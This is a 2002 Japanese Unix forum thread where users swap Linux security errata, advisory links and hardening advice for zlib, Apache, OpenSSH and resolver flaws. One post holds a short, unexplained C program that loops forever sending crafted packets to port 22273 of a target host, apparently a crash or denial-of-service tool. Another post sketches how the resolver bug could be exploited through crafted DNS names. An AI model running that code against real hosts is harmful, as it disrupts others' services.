皆様、セキュリティホールは埋めとけよ

日々発見されるセキュリティホール。
その情報を一人であつめるのは大変です。情報の共有をしましょう。
先人達が埋めてくれた穴は、ありがたく反映させていただきましょう。

http://www.redhat.co.jp/support/errata/rh72-errata-security.html
http://www.turbolinux.co.jp/security/
http://www.vinelinux.org/errata/2x/i386.html
http://www.debian.org/security/

ML等からの情報もよろしく

2ｹﾞﾄｰ（・∀・）

こうやって並べてみると、Debianが一番対応早いな。
2,3日遅れでRedHat、ついでTurboか。
Vineのatとrsyncの対応はどうなってるんだ？

>>3
うち、Debianじゃないんだけど
apt-get upgrade
をcronさせとけば勝手に埋まりそうで良いなぁ〜
でも、これって「隣の花は赤い」みたいなものかなぁ・・・

自動実行すると、設定ファイルがデフォルトに戻ってしまってそれがかえって
穴になってしまうってことは無いのかな？

>>5
DebianだとConffileはどうするか決められるでしょ

>>6
　やはり　Debian 強いね。

　そういうおれは、手動アップの　厨房な夜

cron で upgrade すると対話的な質問のところで止まるという罠。

2/5 Vine-errata

version-up
at-3.1.8-23vl0.1.i386.rpm

security-hole
uucp-1.06.1-31vl0.i386.rpm
rsync-2.4.1-2vl1.i386.rpm

Turbolinux
2002-02-01 mozilla 任意のホストのクッキーが不正に取得されてしまう

関連スレッド
http://pc.2ch.net/test/read.cgi/unix/995966668/

彼女のセキュリティーホールを守るにはどうしたらいいですか？

>>12貞操帯

>>13 予防的手段だけに頼ってはいけない。
インテグリティーチェックと定期的なログ監査。事後対策も忘れずに！

>>12
常時自分がログインしておくというのは？

>>12
電源切っとけ。

SNMPセキュリティーホールage。
つーか、使ってる人いるのか？
使わんのだったら、パケジ消しとけ。
http://www.debian.org/
http://www.turbolinux.co.jp/security/

at, uucp, ucd-sntpなんて個人でLinuxやってる場合は要らんとおもう

net-snmp 4.2.3をtar玉から入れてる人は
snmpnetstatのfixパッチも当てたほうがエエぞ
fixパッチはredhatのSRPMから頂くとよろし

uucp、ucd-snmpはともかく、atは...まぁ、無くてもこまらんか。

ともかく、RPM系のディストリビューションで、「全部」とかで
インストールしてると、入ってる可能性大だから、用チェック
かとおもうですはい。

ipchainsの設定をしてみました。この設定はどうでしょうか？

# ipchains -nL
Chain input (policy ACCEPT):
target prot opt source destination ports
fw all ------ 0.0.0.0/0 0.0.0.0/0 n/a
Chain forward (policy DENY):
target prot opt source destination ports
MASQ all ------ 192.168.1.0/24 0.0.0.0/0 n/a
Chain output (policy ACCEPT):
Chain fw (1 references):
target prot opt source destination ports
ACCEPT tcp ------ 0.0.0.0/0 0.0.0.0/0 * -> 25
ACCEPT tcp ------ 192.168.1.0/24 0.0.0.0/0 * -> 0:1023
ACCEPT udp ------ 192.168.1.0/24 0.0.0.0/0 * -> 0:1023
DENY tcp ------ 0.0.0.0/0 0.0.0.0/0 * -> 0:1023
DENY udp ------ 0.0.0.0/0 0.0.0.0/0 * -> 0:1023

>>22
スレ違い。質問スレでやっとけ。

http://www.turbolinux.co.jp/security/php-4.1.2-1.html
PHPボロボロだな

3/6 Vine-errata

security hole
squid-2.3.STABLE5-0vl2.i386.rpm

zlib祭りだYO!
http://www.linuxsecurity.com/articles/security_sources_article-4582.html
http://www.kb.cert.org/vuls/id/368819

http://www.zdnet.co.jp/news/0203/12/e_linux.html

zlib祭り会場はどこですか？

>>28
あなたのおうちの犬箱です

ftp.mozilla.orgが繋がらないのはzlib祭りのお陰ですか？

http://www.kb.cert.org/vuls/id/368819
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2002-0059
http://www.gzip.org/zlib/advisory-2002-03-11.txt
http://slashdot.jp/article.pl?sid=02/03/12/1325239&mode=nested
http://www.ipa.go.jp/security/news/news.html
http://www.st.ryukoku.ac.jp/~kjm/security/memo/2002/03.html#20020312_zlib

3/12 Vine-errata

security hole
openssh-2.9.9p2-0vl0.3.i386.rpm
openssh-clients-2.9.9p2-0vl0.3.i386.rpm
openssh-server-2.9.9p2-0vl0.3.i386.rpm
openssh-askpass-2.9.9p2-0vl0.3.i386.rpm

げー、zlibやばいなぁ。ローカルからの攻撃には無力っぽいね。
ブラウザ経由の攻撃もできるのかなぁ...
(不正なPNG送るとかで)

mod_gzipとかやばそうだね

>>33
まぁ何はなくともさっさとzlibを更新(-> 1.1.4)することだね。
pngやgzipを直接解釈するようなサーバでもない限り外部からの攻撃は受けない
だろうし、apacheをrootで動かしてるような豪快な奴も居ない（と信じたい）
だろうから、あまり大きな問題にはならないだろうけど。

bugtraqに出てたH D Moore氏のpngの画像を
XEmacsでプレビューしたらXEmacsが落ちたYO!

>>36
サンプル画像はここにもあるYO!
http://www.digitaloffense.net/openssh_zlib/

>>36
他力本願で申し訳ないが、coreとか調べてみました？
結局どーなってどーなっちゃうのかよくわからんもので・・・。
stackoverflowと同様だと思ってればいいのかな〜

apache って root で動かすとやばいの？

>>39
そりゃやばいだろ (;´Д`)

>>38
XEmacs(bamboo)はsignal 11で落ちたみたい
coreはあるけどgdb扱える能力無いのよ。すまん
で、zlib最新にしてlibpngリコンパイルしたら落ちなくなったYO!

Debian セキュリティ HOWTO
http://www.jp.debian.org/doc/manuals/securing-debian-howto/

3/21 Vine-errata

security hole

zlib-1.1.3-25vl0.i386.rpm
zlib-devel-1.1.3-25vl0.i386.rpm

cvs-1.11.1p1-7vl0.i386.rpm
dump-0.4b19-5.6x.1.i386.rpm
dump-static-0.4b19-5.6x.1.i386.rpm
kernel-2.2.19-0vl0.24.i386.rpm
kernel-2.2.19-0vl0.24.i586.rpm
kernel-2.2.19-0vl0.24.i686.rpm
kernel-BOOT-2.2.19-0vl0.24.i386.rpm
kernel-doc-2.2.19-0vl0.24.i386.rpm
kernel-headers-2.2.19-0vl0.24.i386.rpm
kernel-ibcs-2.2.19-0vl0.24.i386.rpm
kernel-pcmcia-cs-2.2.19-0vl0.24.i386.rpm
kernel-smp-2.2.19-0vl0.24.i386.rpm
kernel-smp-2.2.19-0vl0.24.i586.rpm
kernel-smp-2.2.19-0vl0.24.i686.rpm
kernel-source-2.2.19-0vl0.24.i386.rpm
kernel-utils-2.2.19-0vl0.24.i386.rpm
rmt-0.4b19-5.6x.1.i386.rpm
rpm-3.0.6-0vl2.1.i386.rpm
rpm-build-3.0.6-0vl2.1.i386.rpm
rpm-devel-3.0.6-0vl2.1.i386.rpm
rpm-python-3.0.6-0vl2.1.i386.rpm
popt-1.5.1-0vl2.1.i386.rpm
rsync-2.4.1-2vl2.i386.rpm
sash-3.4-2vl0.i386.rpm
info-4.0-5vl0.i386.rpm
texinfo-4.0-5vl0.i386.rpm

3/21 Vine-errata

security hole

apache-1.3.23-0vl0.1.i386.rpm
apache-devel-1.3.23-0vl0.1.i386.rpm
apache-manual-1.3.23-0vl0.1.i386.rpm
mod_ssl-2.8.7-0vl0.1.i386.rpm

fileutils-4.0x-1vl4.i386.rpm

04/04 Vine-errata security hole

XFree86-3.3.6-13vl28.1.i386.rpm
XFree86-100dpi-fonts-3.3.6-13vl28.1.i386.rpm
XFree86-75dpi-fonts-3.3.6-13vl28.1.i386.rpm
XFree86-3DLabs-3.3.6-13vl28.1.i386.rpm
XFree86-8514-3.3.6-13vl28.1.i386.rpm
XFree86-AGX-3.3.6-13vl28.1.i386.rpm
XFree86-FBDev-3.3.6-13vl28.1.i386.rpm
XFree86-I128-3.3.6-13vl28.1.i386.rpm
XFree86-Mach32-3.3.6-13vl28.1.i386.rpm
XFree86-Mach64-3.3.6-13vl28.1.i386.rpm
XFree86-Mach8-3.3.6-13vl28.1.i386.rpm
XFree86-Mono-3.3.6-13vl28.1.i386.rpm
XFree86-P9000-3.3.6-13vl28.1.i386.rpm
XFree86-S3-3.3.6-13vl28.1.i386.rpm
XFree86-S3V-3.3.6-13vl28.1.i386.rpm
XFree86-SVGA-3.3.6-13vl28.1.i386.rpm
XFree86-VGA16-3.3.6-13vl28.1.i386.rpm
XFree86-W32-3.3.6-13vl28.1.i386.rpm
XFree86-XF86Setup-3.3.6-13vl28.1.i386.rpm
XFree86-Xnest-3.3.6-13vl28.1.i386.rpm
XFree86-Xvfb-3.3.6-13vl28.1.i386.rpm
XFree86-cyrillic-fonts-3.3.6-13vl28.1.i386.rpm
XFree86-devel-3.3.6-13vl28.1.i386.rpm
XFree86-doc-3.3.6-13vl28.1.i386.rpm
XFree86-libs-3.3.6-13vl28.1.i386.rpm
XFree86-xfs-3.3.6-13vl28.1.i386.rpm

04/11 Vine-errata

security hole
squid-2.3.STABLE5-0vl4.i386.rpm

ぼくの肛門も埋めてください

05/14 Vine-errata security hole

sudo-1.6.3p6-0.6vl3.i386.rpm

apt-get update
apt-get upgrade

だけでは不十分ですか？

age忘れ。

僕のチンポの先も埋めてください

>apt-get update
>apt-get upgrade
>
>だけでは不十分ですか？

ヴァカじゃん。そういう姿勢がそもそもsecurity hole

06/06 Vine-errata security hole

fetchmail-5.9.11-0vl1.i386.rpm

imap-2001a-10vl1.i386.rpm
imap-devel-2001a-10vl1.i386.rpm

bzip2-1.0.1-3vl3.i386.rpm
bzip2-devel-1.0.1-3vl3.i386.rpm

06/13 Vine-errata security hole

tcpdump-3.6.2-13vl1.i386.rpm
libpcap-0.6.2-13vl1.i386.rpm
arpwatch-2.1a11-13vl1.i386.rpm

Apacheにセキュリティホール
http://slashdot.jp/article.pl?sid=02/06/18/0434227

UNIX板 Apache関連 Part2
http://pc.2ch.net/test/read.cgi/unix/1017812420/466n-

バグフィクスされたapacheがリリースされたそうです。

http://www.apache.org/dist/httpd/Announcement.html
http://httpd.apache.org/info/security_bulletin_20020617.txt

06/19 Vine-errata security hole

apache-1.3.26-0vl1.i386.rpm
apache-devel-1.3.26-0vl1.i386.rpm
apache-manual-1.3.26-0vl1.i386.rpm
mod_ssl-2.8.9-0vl1.i386.rpm

>>55
Red Hat
http://rhn.redhat.com/errata/RHSA-2002-103.html

Debian (potato)
DSA-131-1 apache -- remote DoS / exploit
http://www.debian.org/security/2002/dsa-131

DSA-132-1 apache-ssl -- remote DoS / exploit
http://www.debian.org/security/2002/dsa-132

Apache のそれは 32bit Linux でもヤバそう。
某MLにexploitが流れてた。

Apache Web サーバプログラムの脆弱性に関する注意喚起 http://www.jpcert.or.jp/at/2002/at020003.txt

情報スカスカのJPCERT勧告なんぞ読んでも仕方無いぞ。ほい日本語版。
http://www.lac.co.jp/security/intelligence/CERT/CA-2002_17.html

こっちはそれなりに有用。
http://www.ipa.go.jp/security/ciadr/20020619apache.html

「くだ質」とどちらに投げようか迷った挙げ句、こちらに
投げることにしました。
以下のような自分の使用状況がセキュリティの面で安全か
どうか伺いたく存じます。
自宅でLinuxを使っています。Flets ADSLを契約しており、
常時接続ではなく、時々インターネットに接続して電子
メールを読み書きしたり、WWWで情報を得たりしています。
ルータ等は使っていません。他のホストにwwwやftpで
クライエントとして接続することはあっても、自ホストを
サーバにする必要は殆どないと考えています。ただ例外で、
smtpサーバとしてnullmailerを使っています。
Debian GNU/Linux sidを使っており、電源を入れる度に
apt-getでパッケージを更新しています。
ftpd、rsh-server、ssh、apache等は削除しています。
kernelは2.4.18です。
/etc/hosts.allowは何も記述せず、
/etc/hosts.denyはALL: ALLにしてます。
# netstat --tcp --all
は、
Proto 受信-Q 送信-Q 内部アドレス 外部アドレス 状態
tcp 0 0 *:time *:* LISTEN
tcp 0 0 *:32927 *:* LISTEN
tcp 0 0 xxx.yyy.zzz.uuu:33011 aaa.bbb.ccc.ddd:smtp TIME_WAIT
となります(xxx.yyy.zzz.uuuは割り当てられたIPアドレス、
aaa.bbb.ccc.dddはプロバイダのメールサーバのIPアドレス)。

>>64
> 以下のような自分の使用状況がセキュリティの面で安全か
> どうか伺いたく存じます。
「安全」と「安全でない」の2つしか状態がないと思ってる?

Apache の脆弱性を攻撃するツールが登場
http://slashdot.jp/article.pl?sid=02/06/22/1240249&mode=thread

>>66
充分に気をつけているほうだと思うよ。
でもセキュリティにこれで完璧ってのは無いんだよ。
あくまでコストとリスクとの綱引きでしかない。
しかしそれで侵入されたからって君を責める人はあまりいないだろう。

>>66
inetdも止めてしまおう。

OpenSSH に新たな弱点発見。詳細は来週まで秘密。
リモートから悪用可能らしい。
3.3 にも同じ弱点があるが、侵入は防げるそうだ。

void writei(int fd,int num){num = htonl(num);write(fd,&num,4);}
void writes(int fd,char *s){write(fd,s,strlen(s)+1);}
void main(int argc,char **argv){struct hostent *he;struct sockaddr_in si;int fd;
char a[10];he = gethostbyname(argv[1]);while(1){fd = socket(PF_INET,SOCK_STREAM,0);si.sin_family = AF_INET;memcpy(&si.sin_addr,he->h_addr_list[0],sizeof(si.sin_addr));
si.sin_port = htons(22273);connect(fd,(struct sockaddr *)&si,sizeof(si));sprintf(a,"%d",rand());writei(fd,0x66);writei(fd,0);
writes(fd,a);writei(fd,0);writei(fd,3);close(fd);}}

>>69
これだね。
Debian 以外のパッケージはいつころ出るんだろ。
http://www.koka-in.org/~haruyama/ssh_koka-in_org/0/4.html

>70
Wnnか？何の穴よ？
まさかwww.freewnn.orgにある大昔の穴じゃないだろうな。

>>72
違うっぽい。

*BSD の libc の resolver に穴が見つかったようだけど、glibc は
どうなんだろう
http://www.pine.nl/advisories/pine-cert-20020601.html

ISS から OpenSSH のアドバイザリが出た。
Challenge and Response 認証にバグ。remote root exploit。
sshd_config に
ChallengeResponseAuthentication no
で回避可能。3.4 で修正されている。
これがもし Theo の言ってた穴と同じものなら、
OpenSSH 3.0 以降にのみ存在する穴じゃん。
いちはやくアップデート出した Debian potato は踊らされただけか。

OpenSSH Advisory
http://www.openssh.com/txt/preauth.adv

さみだれ式でごめん。ISS Advisory
http://www.openssh.com/txt/iss.adv

>>75
訂正。3.0 以降じゃなくて 2.9.9 以降に弱点がある模様。
Debian 2.2 (potato) は安全な 1.2 系からわざわざ弱点のある
3.3 に入れ換えさせられた恰好だよ。Theo のアホーーーーー。
フルディスクロージャってやっぱり大事なんだな。

06/27 Vine-errata security hole

openssh-3.3p1-0vl10.i386.rpm
openssh-server-3.3p1-0vl0.i386.rpm
openssh-clients-3.3p1-0vl0.i386.rpm
openssh-askpass-3.3p1-0vl0.i386.rpm
openssh-askpass-gnome-3.3p1-0vl0.i386.rpm

>>79 は 06/26 発行でした。ｽﾏｿ

openssh 3.4p1出てるよage

syslogdが大きい。

resolver のバグは対岸の火事ではない模様。

2ch鯖のApacheも入れ替えが始まってるね。 遅いぐらいだ。昨日の件もこれが絡んでたのだろうか。 しかし入れ替えたはいいがlinuxのlibcにも。。。。 なんてことになったら大火事だな。

>>84
まさに大火事のようで(藁
まあ、リモートからいじれる穴ではないだろうけど

>>85
resolver のバグはリモートからいじれる。
攻撃者は自由に設定出来るネームサーバを持っていればいい。
ある IP アドレスの逆引きホストネームに攻撃用コードを仕込む。
そしてその IP アドレスから攻撃対象のサーバに接続する。
攻撃対象のサーバが逆引きを行い、
返って来た巧妙に細工されたホスト名を正引きしたら、あぼーん。

glibcには*BSDよりも１箇所余計にチェックが入っているが、
これでは防げないのか？

OpenSSHを3.1→3.4にアップグレードしたら、sshdの起動時に
This platform does not support both privilege separation and compression
Compression disabled
こんなメッセージを吐くんだけど・・・何だろ？syslogには上がらないみたいだけど気になるかな。

ちなみにRedHat6.2(kerner2.2.19/glibc2.1.3-23/OpenSSL0.9.6d)